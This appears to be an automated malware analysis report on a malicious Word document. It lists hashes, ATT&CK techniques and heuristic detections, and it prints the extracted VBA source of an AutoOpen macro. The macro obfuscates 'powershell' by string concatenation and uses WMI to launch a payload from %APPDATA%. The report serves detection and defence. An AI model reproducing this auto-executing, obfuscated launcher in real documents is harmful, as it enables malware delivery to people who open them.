Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 eb532ad9a9803962…

MALICIOUS

Office (OOXML)

17.8 KB Created: 2021-07-09 02:53:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-13
MD5: 451b889a494b7da40dacff8199a8f6bb SHA-1: 54a7422a96f1413209f1844cbdcc7dca9bf27fa8 SHA-256: eb532ad9a9803962c3e25dc4f22db15e8945bc8f7b1f5a5d2066dc8a7de480c0
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1137.001 DLL Search Order Hijacking T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The AutoOpen macro is designed to execute a second-stage payload. It uses WMI (Win32_Process.Create) to launch PowerShell, which in turn is intended to execute a process named calc.exe located in the user's APPDATA directory. This indicates a downloader or dropper functionality.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    errReturn = objProcess.Create(x, Null, objconfig, intProcessID)
    Set objShell = CreateObject("WScript.Shell")
    appData = objShell.ExpandEnvironmentStrings("%APPDATA%")
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
        update = Replace(update, "Updater", "ndow")
    Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    errReturn = objProcess.Create(x, Null, objconfig, intProcessID)
    Set objShell = CreateObject("WScript.Shell")
    appData = objShell.ExpandEnvironmentStrings("%APPDATA%")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        update = Replace(update, "Updater", "ndow")
    Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Dim update
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1229 bytes
SHA-256: 7857a92f6885a1690f1d169e75eacd33a6da4ace181b99be0ac646a65a53f049
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Dim update
    update = "MicrosoftOfficeUpdater"
    update = Replace(update, "Microsoft", "objcon")
    update = Replace(update, "Office", "ig.showwi")
    update = Replace(update, "Updater", "ndow")
    Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objconfig = objStartup.SpawnInstance_
    
    
    
    
    .showwindow = 12
    Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
    x = "powe"
    x = x + "rshe"
    x = x + "ll /c "
errReturn = objProcess.Create(x, Null, objconfig, intProcessID)
    Set objShell = CreateObject("WScript.Shell")
    appData = objShell.ExpandEnvironmentStrings("%APPDATA%")
    y = appData + "\calc.exe"
errReturn = objProcess.Create(y, Null, objconfig, intProcessID)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: 2be11fd6339d72ec35fcc7fd28489aa98bf7d33e1aa10317812f4685e93b461d

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